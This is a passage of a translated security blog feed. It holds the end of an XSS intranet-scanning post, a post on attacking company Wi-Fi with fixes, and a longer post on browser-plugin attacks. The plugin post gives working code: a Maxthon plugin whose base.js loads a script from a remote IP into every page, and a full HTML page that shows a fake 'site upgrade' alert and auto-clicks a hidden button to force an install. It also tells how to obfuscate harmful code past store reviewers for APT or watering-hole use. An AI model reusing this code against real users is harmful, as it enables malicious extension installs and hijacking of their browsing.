There is a constraint: you still need the CMS of the live IP’s site (you can use &lt;code&gt;&amp;lt;img src=&quot;intranet-ip/favicon.ico&quot;&amp;gt;&lt;/code&gt; and send the image to a remote server to receive it. That tells you the CMS type. When you build this, you can add JavaScript that periodically fetches from the remote server. Once we see the CMS type, we look up a version-disclosure method, write it into code, and wait for the client’s scheduled task to pick it up).&lt;/p&gt;
&lt;p&gt;Now we have the info. There is still one more condition: an XSS to load the Html2canvas plugin, save a screenshot, and send it to the remote server.&lt;/p&gt;
&lt;p&gt;Here is the problem: reflected XSS does not actually open the site, it just sends a GET. Then canvas will not load, so the screenshot fails. Stored XSS might work.&lt;/p&gt;
&lt;p&gt;Why it failed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;canvas cannot read the DOM inside an iframe&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the img cannot be sent to a remote server, because the current page and the img are not same-origin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;stealth is poor&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Idea 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The idea I mentioned earlier was xss+iframe+canvas, but @超威蓝猫 said canvas cannot capture iframe content. I looked it up later and that is correct (weak fundamentals). Then I had another idea: use &lt;code&gt;&amp;lt;img src=&quot;https://xxx.xxx.xxx.xxx/favico.ico&quot; /&amp;gt;&lt;/code&gt; to get the site’s CMS, because different CMSs have different ico files. Send the img to the server and you can tell which CMS it is. After a few hours of discussion with Weige @呆子不开口, we realized I had skipped an important problem: how to send the img to a remote server. The image URL is not same-origin, and how do you turn the image into binary data in JavaScript? That idea died too. Weige offered a nice solution: probe JS files, i.e. &lt;code&gt;&amp;lt;script src=&quot;http://xxx.xxx.xxx.xxx/path/cms.js&quot; onload=&quot;xxx(this)&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;. That means I need a large set of CMS-specific JS paths. A lot of work. I was going to go with that, but a few days ago I was bored and scrolling my QQ logs and found this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.addEventListener(&quot;visibilitychange&quot;, function() {
    document.title = document.hidden ? &apos;iloveyou&apos; : &apos;metoo&apos;;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an HTML5 API. I realized I could use it to upload images without the user noticing. When the user switches to another tab, document.hidden is true. Then we know the user is not looking at the XSS page. We can do anything and they will not notice. Roughly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.addEventListener(&quot;visibilitychange&quot;, function() {
    if(document.hidden){
        var htmlText = $(&quot;body&quot;).html();
        $(&quot;body&quot;).empty();
        $(&quot;body&quot;).append(&quot;&amp;lt;img src=&apos;http://xxx.xxx.xxx.xxx/favico.ico&apos; /&amp;gt;&quot;);
        // canvas captures the page; see: http://leobluewing.iteye.com/blog/2020145
    }else{
        $(&quot;body&quot;).empty();
        $(&quot;body&quot;).append(htmlText);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why it failed:&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;As mentioned earlier, img loading is slow. On Maxthon especially, scanning three or more IP ranges takes about 30 minutes. This method would require the user not to open the page for half an hour&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;canvas cannot read cross-origin images, so it cannot read the image the img tag loaded&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the end I went with Weige’s method.&lt;/p&gt;
&lt;h2&gt;0x14 Closing&lt;/h2&gt;
&lt;p&gt;Special thanks to @呆子不开口. This article was exhausting to write. Because img requests take so long, every bug fix meant waiting 9-10 minutes. It is the longest article I have written so far. I was also learning to drive, so I had even less time. It took about a month. I had promised the editor the 15th and kept slipping. Sorry about that. There are still some frontend, backend, and database bugs. If this platform hits 1,000 installs I will keep updating it. Download URL:
&lt;a href=&quot;https://github.com/BlackHole1/WebRtcXSS&quot;&gt;https://github.com/BlackHole1/WebRtcXSS&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>web security</category><category>xss</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Company Wi-Fi security</title><link>https://bugs.cc/posts/company-wifi-security/</link><guid isPermaLink="true">https://bugs.cc/posts/company-wifi-security/</guid><description>Companies generally don&apos;t take Wi-Fi security seriously enough. This post outlines some problems that show up when Wi-Fi is left unmanaged.</description><pubDate>Tue, 13 Dec 2016 03:00:48 GMT</pubDate><content:encoded>&lt;h2&gt;0x0 Preface&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;A lot of companies have no security team. Ops owns all of security, so security takes a hit. I’ve been doing security assessments for various companies lately, so I’m writing down what I’ve learned. Feel free to fill in anything I missed.&lt;/p&gt;
&lt;h2&gt;0x1 Wireless security&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;A lot of companies don’t take wireless security seriously. Companies with money buy gear. Companies without throw people at it. However skilled the people are, without equipment, manpower alone doesn’t help much.&lt;/p&gt;
&lt;p&gt;Most company Wi-Fi auth is basically WPA/WPA2 plus a web secondary authentication, and people think that’s enough. It isn’t. You can crack WPA with aircrack-ng, airmon-ng, airodump-ng, and aireplay-ng. For WPA2, dictionary brute force.&lt;/p&gt;
&lt;p&gt;You can also spoof a Wi-Fi network with a Wi-Fi Pineapple. And everyone knows the “Wi-Fi Master Key” app: try that first, and only crack it if Master Key can’t. After you join the Wi-Fi, you’ll be told to do web secondary authentication. You can ignore that. It doesn’t do anything useful.&lt;/p&gt;
&lt;p&gt;Because auth is WPA/WPA2, once you join the Wi-Fi the switch hands you an intranet IP right away (in my cases it was a switch; it could also be a router). Why would an attacker want your internet access? They want intranet resources.&lt;/p&gt;
&lt;p&gt;Not being able to reach the internet is not a problem for an attacker. When I assessed one company, I cracked it with Master Key, then MITM sniffed. In under two minutes I had admin access to their company website backend.&lt;/p&gt;
&lt;p&gt;Web auth, as I see it, is not aimed at attackers. It’s aimed at employees. Attackers don’t need internet access. Employees do.
Here’s a diagram I drew:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/web-auth-lan-access.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.processon.com/view/556d3cd0e4b09c41cc41b26e&quot;&gt;Mind map URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After the attacker joins the Wi-Fi, they still can’t pass web secondary authentication, but they are already on the intranet and can reach any internal resource.&lt;/p&gt;
&lt;p&gt;Suggested fixes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Replace WPA/WPA2 wireless auth with 802.1X (802.1X wireless auth needs switch support)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Buy wireless detection / defense gear&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wireless cannot reach intranet resources; only wired can (isolate the problem physically)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For 802.1X, the flow looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/802-1x-auth-flow.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.processon.com/view/link/556d5c6be4b09c41cc43c0e3&quot;&gt;Mind map URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Even if the attacker joins the company Wi-Fi, they cannot pass 802.1X, so&lt;/p&gt;
&lt;p&gt;company gear (routers, switches) will not grant an intranet IP or an external egress IP.&lt;/p&gt;
&lt;h2&gt;0x2 Deeper wireless security&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;What I covered above is only about managing the Wi-Fi the company itself exposes.&lt;/p&gt;
&lt;p&gt;Of those three fixes, the first is the most convenient and doesn’t cost money (the network gear has to support 802.1X wireless; if it doesn’t, you still have to spend).&lt;/p&gt;
&lt;p&gt;The second, companies that don’t want to spend won’t pick. And after you buy it you still have to configure it. The upfront work is huge.&lt;/p&gt;
&lt;p&gt;The third is a lot of work: you have to re-architect the company network. A colleague and I started after we got off at 6pm and only finished just before the next workday.&lt;/p&gt;
&lt;p&gt;If the company doesn’t want to spend, or ops doesn’t want to re-architect, the first option is a good choice. But there’s another problem: 360 / Baidu portable Wi-Fi. That thing makes already-insecure companies even worse.&lt;/p&gt;
&lt;p&gt;Once a 360 / Baidu portable Wi-Fi stick is plugged into a company PC, it starts the ICS (Internet Connection Sharing) service plus the wireless NIC’s AP mode. After you join that portable Wi-Fi, you’re on a small LAN. From there we can compromise the PC with the stick plugged in, then use it to move through the rest of the company. If you only need a particular kind of access, you don’t need to compromise that PC. Say you need this site’s admin backend, but logging in requires the egress IP to be the company’s public IP. In that case we don’t need to compromise the PC with the portable Wi-Fi. Why? I drew a diagram:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/portable-wifi-attack.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.processon.com/view/556d175ee4b0546a904aa2bb&quot;&gt;Mind map URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After the attacker joins this Wi-Fi, there is no web secondary authentication, because they’re using the employee’s network, and the employee has already authenticated. The employee is on the company intranet, the intranet has a single egress IP, and the server only allows that IP. Other IPs can’t reach the server.&lt;/p&gt;
&lt;p&gt;There are plenty of fixes online. Look up a tutorial.&lt;/p&gt;
&lt;p&gt;If you have a better solution, I’d like to hear it. My thinking is limited. Sorry for any gaps.&lt;/p&gt;
</content:encoded><category>wireless security</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Browser plugin attack vectors</title><link>https://bugs.cc/posts/browser-plugin-attack-vector/</link><guid isPermaLink="true">https://bugs.cc/posts/browser-plugin-attack-vector/</guid><description>Browser plugins have many privileged APIs. With those APIs you can do things that were not possible before. This post is only a starting point.</description><pubDate>Wed, 05 Oct 2016 12:35:52 GMT</pubDate><content:encoded>&lt;h2&gt;0x0 Preface&lt;/h2&gt;
&lt;p&gt;I have said “browser plugin attack methods” in many places. This post walks through the attack techniques and the attack code that come from browser plugins. The material here can open a new attack path, and it also works well for APT.&lt;/p&gt;
&lt;h2&gt;0x1 Become the attacker&lt;/h2&gt;
&lt;p&gt;I asked around in a group earlier. A lot of people had only heard of this. They knew the idea, but they had never tried it, and they underestimated it. Public cases of this technique are also scarce. Without offense there is no defense. Chrome has seen similar attacks, but those payloads did very little. So in this post we become the attacker first, and study the technique from that side. When I mentioned this technique before, it was always a short section inside another article. Now I am writing a dedicated post for it, and I hope people take it seriously.&lt;/p&gt;
&lt;p&gt;In most people’s minds, a browser plugin attack means planting JavaScript in a plugin and stealing cookies. It is not that simple.&lt;/p&gt;
&lt;p&gt;Everyone knows a “browser plugin attack” needs the user to install your plugin. Everyone also thinks that is the only way. It is not. Here are 4 ways to get a plugin installed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Trick the user on the page: write “to view this page, please download xx plugin”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Wait passively, like Jiang Taigong fishing: the plugin sits there, and if you don’t install it, someone else will&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Take over the plugin author’s account via a credential dump, plant a backdoor, then ship an update&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Control third-party JavaScript that the plugin loads&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We have four methods. Let’s go through them one by one.&lt;/p&gt;
&lt;h2&gt;0x1.1 Trick users on the page: “to view this page, please download xx plugin”&lt;/h2&gt;
&lt;p&gt;This is similar to &lt;a href=&quot;http://www.cnbeta.com/articles/470593.htm&quot;&gt;Forcing users to install malicious Chrome extensions, attackers go aggressive&lt;/a&gt;. We will implement it and improve it a bit. The example here uses a Maxthon browser plugin.&lt;/p&gt;
&lt;h3&gt;0x1.1.1 Detect whether a plugin is installed&lt;/h3&gt;
&lt;p&gt;First, the directory layout of this attack:&lt;/p&gt;
&lt;p&gt;Website page: &lt;code&gt;index.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Plugin directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;icons/              directory that stores the plugin logo

icons/icons.svg     plugin logo file

def.json            the plugin&apos;s main control file, which holds the entire plugin configuration
Code:
[
    {
        &quot;type&quot;: &quot;extension&quot;,
        &quot;frameworkVersion&quot;: &quot;1.0.0&quot;,
        &quot;version&quot;: &quot;1.0.0&quot;,
        &quot;guid&quot;: &quot;{7c321680-7673-484c-bcc4-de10f453cb8e}&quot;,
        &quot;name&quot;: &quot;plug_setup&quot;,
        &quot;author&quot;: &quot;Black-Hole&quot;,
        &quot;svg_icon&quot;: &quot;icon.svg&quot;,
        &quot;title&quot;: {
            &quot;zh-cn&quot;: &quot;Trick the user into installing a plugin&quot;
        },
        &quot;description&quot;: {
            &quot;zh-cn&quot;: &quot;Trick the user into installing a plugin&quot;
        },
        &quot;main&quot;: &quot;index.html&quot;,
        &quot;actions&quot;: [
            {
                &quot;type&quot;: &quot;script&quot;,
                &quot;entryPoints&quot;: [
                    &quot;doc_onload&quot;
                ],
                &quot;js&quot;: [
                    &quot;base.js&quot;
                ],
        &quot;include&quot;: [&quot;*&quot;],
        &quot;includeFrames&quot;: true
             }
        ]
    }
]
base.js             JavaScript code to run every time a page is opened
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I went through the entire Maxthon plugin API docs. There is nothing like the Chrome plugin API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    if(request.act == &apos;ping&apos;){
        sendResponse({&quot;act&quot;: &quot;tong&quot;});
    }
})
chrome.runtime.sendMessage(&quot;extensionId&quot;, {&quot;act&quot;: &quot;ping&quot;}, function(response){
    if(response &amp;amp;&amp;amp; response.act == &apos;tong&apos;){
        console.log(&apos;installed&apos;);
    }else{
        console.log(&apos;not installed&apos;);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since there isn’t one, we have to solve it with a more hacky approach.&lt;/p&gt;
&lt;p&gt;I used JavaScript globals plus the &lt;code&gt;setTimeout&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;First, write this in the plugin’s &lt;code&gt;base.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://119.29.58.242/control.js&quot;;
document.body.appendChild(script);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The snippet above appends &lt;code&gt;&amp;lt;script src=&quot;http://119.29.58.242/control.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; after the &lt;code&gt;body&lt;/code&gt; tag on every page. The code in &lt;code&gt;http://119.29.58.242/control.js&lt;/code&gt; is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;window.plug_setup = function(){

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, when the user opens any page, that page’s globals include a function named &lt;code&gt;plug_setup&lt;/code&gt;. It does nothing, so it is easy to miss. It only matters on specific pages.&lt;/p&gt;
&lt;p&gt;Then on our site we write:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;setTimeout(function(){
    if(typeof(plug_setup)!=&quot;function&quot;){
        alret(&quot;Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page.&quot;);
    }
},1000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because of delay from page load and network, we set the check to run after 1 second. After 1 second it runs&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(typeof(plug_setup)!=&quot;function&quot;){
    alret(&quot;Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page.&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If there is no global &lt;code&gt;plug_setup&lt;/code&gt; function at that point, it runs the &lt;code&gt;alert&lt;/code&gt; below and tells the user they have to install the plugin to visit.&lt;/p&gt;
&lt;h3&gt;0x1.1.2 Trick users into a semi-automatic install of a chosen plugin&lt;/h3&gt;
&lt;p&gt;If you send users to the plugin page and let them read the details and reviews before they install, the success rate drops a lot. It is also bad conversion. Don’t Make Me Think has this line: “Don’t make users think.” That is gospel for site design, and it works for attacks too. The less a user thinks, the more likely they walk the path you designed.&lt;/p&gt;
&lt;p&gt;So I looked at the JavaScript on Maxthon’s plugin install page. The install API can run on any page. If an attacker puts that JavaScript on a page, Maxthon pops the same install dialog:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/maxthon-install-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I tightened it a bit. The code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var ERRORTEXT = &apos;Not Maxthon or version too low. &amp;lt;a href=&quot;http://www.maxthon.cn&quot; target=&quot;_blank&quot;&amp;gt;Click here to get the latest Maxthon&amp;lt;/a&amp;gt;&apos;
function getInstallMessage(that, messagePack, type) {
    if (external.mxCall) {
        var packMxAttr = $(that).closest(messagePack);
        if (type === &apos;skin&apos;) {
            // browser framework version
            var frameVersion = external.mxCall(&apos;GetSkinFxVersion&apos;);
        }
        else if (type === &apos;app&apos;) {
            // browser framework version
            var frameVersion = external.mxCall(&apos;GetAppFxVersion&apos;);
            // remove once the next version ships --
            if (frameVersion === &apos;1.0.0&apos;) {
                frameVersion = &apos;1.0.1&apos;;
            }
            // -- remove once the next version ships
        }
        // plugin package framework version
        var packMxVersion = packMxAttr.attr(&apos;file_def&apos;);
        // plugin package url
        var packUrl = packMxAttr.attr(&apos;file_url&apos;);
        // plugin id
        var packId = packMxAttr.attr(&apos;file_id&apos;);
        installPack(frameVersion, packMxVersion, packUrl, type, packId);
    }
    else {
        resultPop.show(&apos;Browser mismatch&apos;, ERRORTEXT, &apos;OK&apos;);

    }
}
function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
    var isInstall = returnIsInstall(frameVersion, packMxVersion);
    if (isInstall !== -1) {
        if (type === &apos;skin&apos;) {
            external.mxCall(&apos;InstallSkin&apos;, packUrl);
        }
        else if (type === &apos;app&apos;) {
            external.mxCall(&apos;InstallApp&apos;, packUrl);
        }
        getUser(packId);
    }
    else {
        resultPop.show(&apos;Browser mismatch&apos;, ERRORTEXT, &apos;OK&apos;);
    }
}
function returnIsInstall(frameVersion, packMxVersion) {
    var fvItem;
    var pvItem;
    var frameVersion = getVersionArr(frameVersion);
    var packMxVersion = getVersionArr(packMxVersion);
    // define the incrementing index.
    var i = 0;
    while (1) {
        fvItem = frameVersion[i];
        pvItem = packMxVersion[i];
        if (fvItem == null &amp;amp;&amp;amp; pvItem == null) {
            return 0;
        }
        if (fvItem == null) {
            return -1;
        }
        if (pvItem == null) {
            return 1;
        }
        if (fvItem != pvItem) {
            var value = fvItem &amp;gt; pvItem ? 1 : -1
            return value;
        }
        i++;
    }
}
function getVersionArr(version) {
    var versionArr = version.split(&apos;.&apos;);
    for (var i = 0; i &amp;lt; versionArr.length; i++) {
        versionArr[i] = parseInt(versionArr[i], 10);
    };
    return versionArr;
}
function getUser(id) {
    $.ajax({
        type: &apos;GET&apos;,
        url: &apos;http://extension.maxthon.cn/common/ajax.php?id=&apos; + id,
        data: &apos;data&apos;,
        dataType: &apos;json&apos;,
        success: function (data) {},
        error: function () {}
    });
}
$(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see the original from line 1256 to 1600 in &lt;a href=&quot;http://extension.maxthon.cn/js/temp.js&quot;&gt;http://extension.maxthon.cn/js/temp.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The entry point in this code is&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the DOM with id &lt;code&gt;app-install&lt;/code&gt; is clicked, it calls &lt;code&gt;getInstallMessage&lt;/code&gt;, which calls &lt;code&gt;installPack&lt;/code&gt;, which calls &lt;code&gt;returnIsInstall&lt;/code&gt; and &lt;code&gt;getUser&lt;/code&gt;. &lt;code&gt;returnIsInstall&lt;/code&gt; calls &lt;code&gt;getVersionArr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The core is &lt;code&gt;external.mxCall(&apos;InstallApp&apos;, packUrl);&lt;/code&gt; in &lt;code&gt;installPack&lt;/code&gt;. You cannot call it directly, or the install fails. &lt;code&gt;packUrl&lt;/code&gt; also has to be under &lt;code&gt;http://extension.maxthon.cn&lt;/code&gt;, or the install fails. You have to submit the plugin to the Maxthon plugin platform first.&lt;/p&gt;
&lt;p&gt;As I said, it only fires on a click of the &lt;code&gt;app-install&lt;/code&gt; DOM. I am lazy, so I copied Maxthon’s HTML and hid it:
&lt;code&gt;&amp;lt;a id=&quot;app-install&quot; style=&quot;display:none;&quot; file_def=&quot;1.0.1&quot; file_url=&quot;http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon&quot; file_id=&quot;&amp;lt;?echo $view_id;?&amp;gt;&quot;&amp;gt;Install&amp;lt;/a&amp;gt;&lt;/code&gt;. &lt;code&gt;file_id&lt;/code&gt; is &lt;code&gt;&amp;lt;?echo $view_id;?&amp;gt;&lt;/code&gt;. Looks like a Maxthon developer left the PHP unparsed, so it showed up as HTML. I could not be bothered to fix it, so I left it. Then I added &lt;code&gt;$(&quot;#app-install&quot;).click();&lt;/code&gt; after their code so it fires on its own.&lt;/p&gt;
&lt;p&gt;Full site code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
    &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&amp;gt;
    &amp;lt;title&amp;gt;Trick the user into installing a plugin&amp;lt;/title&amp;gt;
    &amp;lt;script src=&quot;//cdn.bootcss.com/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    Trick the user into installing a plugin demo1
    &amp;lt;a id=&quot;app-install&quot; style=&quot;display: none;&quot; file_def=&quot;1.0.1&quot; file_url=&quot;http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon&quot; file_id=&quot;&amp;lt;?echo $view_id;?&amp;gt;&quot;&amp;gt;Install&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script src=&quot;//cdn.bootcss.com/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
    setTimeout(function(){
        if(typeof(plug_setup)!=&quot;function&quot;){
            alert(&quot;Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and open this page.&quot;);
            var ERRORTEXT = &apos;Not Maxthon or version too low. &amp;lt;a href=&quot;http://www.maxthon.cn&quot; target=&quot;_blank&quot;&amp;gt;Click here to get the latest Maxthon&amp;lt;/a&amp;gt;&apos;
            function getInstallMessage(that, messagePack, type) {
                if (external.mxCall) {
                    var packMxAttr = $(that).closest(messagePack);
                    if (type === &apos;skin&apos;) {
                        // browser framework version
                        var frameVersion = external.mxCall(&apos;GetSkinFxVersion&apos;);
                    }
                    else if (type === &apos;app&apos;) {
                        // browser framework version
                        var frameVersion = external.mxCall(&apos;GetAppFxVersion&apos;);
                        // remove once the next version ships --
                        if (frameVersion === &apos;1.0.0&apos;) {
                            frameVersion = &apos;1.0.1&apos;;
                        }
                        // -- remove once the next version ships
                    }
                    // plugin package framework version
                    var packMxVersion = packMxAttr.attr(&apos;file_def&apos;);
                    // plugin package url
                    var packUrl = packMxAttr.attr(&apos;file_url&apos;);
                    // plugin id
                    var packId = packMxAttr.attr(&apos;file_id&apos;);
                    console.log(frameVersion, packMxVersion, packUrl, type, packId)
                    installPack(frameVersion, packMxVersion, packUrl, type, packId);
                }
                else {
                    resultPop.show(&apos;Browser mismatch&apos;, ERRORTEXT, &apos;OK&apos;);

                }
            }
            function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
                var isInstall = returnIsInstall(frameVersion, packMxVersion);
                if (isInstall !== -1) {
                    if (type === &apos;skin&apos;) {
                        external.mxCall(&apos;InstallSkin&apos;, packUrl);
                    }
                    else if (type === &apos;app&apos;) {
                        external.mxCall(&apos;InstallApp&apos;, packUrl);
                    }
                    getUser(packId);
                }
                else {
                    resultPop.show(&apos;Browser mismatch&apos;, ERRORTEXT, &apos;OK&apos;);
                }
            }
            function returnIsInstall(frameVersion, packMxVersion) {
                var fvItem;
                var pvItem;
                var frameVersion = getVersionArr(frameVersion);
                var packMxVersion = getVersionArr(packMxVersion);
                // define the incrementing index.
                var i = 0;
                while (1) {
                    fvItem = frameVersion[i];
                    pvItem = packMxVersion[i];
                    if (fvItem == null &amp;amp;&amp;amp; pvItem == null) {
                        return 0;
                    }
                    if (fvItem == null) {
                        return -1;
                    }
                    if (pvItem == null) {
                        return 1;
                    }
                    if (fvItem != pvItem) {
                        var value = fvItem &amp;gt; pvItem ? 1 : -1
                        return value;
                    }
                    i++;
                }
            }
            function getVersionArr(version) {
                var versionArr = version.split(&apos;.&apos;);
                for (var i = 0; i &amp;lt; versionArr.length; i++) {
                    versionArr[i] = parseInt(versionArr[i], 10);
                };
                return versionArr;
            }
            function getUser(id) {
                $.ajax({
                    type: &apos;GET&apos;,
                    url: &apos;http://extension.maxthon.cn/common/ajax.php?id=&apos; + id,
                    data: &apos;data&apos;,
                    dataType: &apos;json&apos;,
                    success: function (data) {},
                    error: function () {}
                });
            }
            $(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
                event.preventDefault();
                event.stopPropagation();
                getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
            });
            $(&quot;#app-install&quot;).click();
        }
    },1000);
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After you open it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/fake-upgrade-alert.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/addon-download-progress.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/lol-plugin-install-prompt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The LoL match-history plugin is one I uploaded earlier (do not install it). In a real attack you would pick a less silly name, like “site enhancement tool”.&lt;/p&gt;
&lt;p&gt;At first I wanted to try clickjacking, so the plugin could install without the user noticing. The installer is not in the page, so you cannot hijack it. I dropped that.&lt;/p&gt;
&lt;p&gt;That is the page that makes the user think as little as possible. Publish it and wait for someone to take the bait. You can combine this with a watering-hole in an APT and aim it at a specific group or person.&lt;/p&gt;
&lt;h3&gt;0x1.2 Wait passively&lt;/h3&gt;
&lt;p&gt;This is the wide net. Use it when you have no specific group or person, and you just want to attack or research.&lt;/p&gt;
&lt;p&gt;A few tricks. When a developer uploads a plugin, Maxthon reviewers look at it. Harmful code does not get through. Looks fine at first glance, but there is no follow-up.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No periodic automated scan of plugin code&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Even a mini-game can request the highest privileges in &lt;code&gt;def.json&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;When there is enough code, the developer can encrypt and pack the code that harms user requests and slip it past reviewers. (To quote the great people’s leader Chairman Mao: struggle against rules, and the joy is endless. Struggle against code, and the joy is endless. Struggle against people, and the joy is endless.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The plugin can load third-party JavaScript. The third-party URL can point at any domain. There is no check that the URL or the JS file is trusted.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With those issues, we can write a plugin that harms the user and still get past review.&lt;/p&gt;
&lt;p&gt;In the plugin source &lt;code&gt;base.js&lt;/code&gt; we write&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;//xxxxx other extraneous code
var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://your-domain/javascript-filename.js&quot;;
document.body.appendChild(script);
//xxxxx other extraneous code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are not comfortable with that, you can encrypt it into something like:&lt;/p&gt;
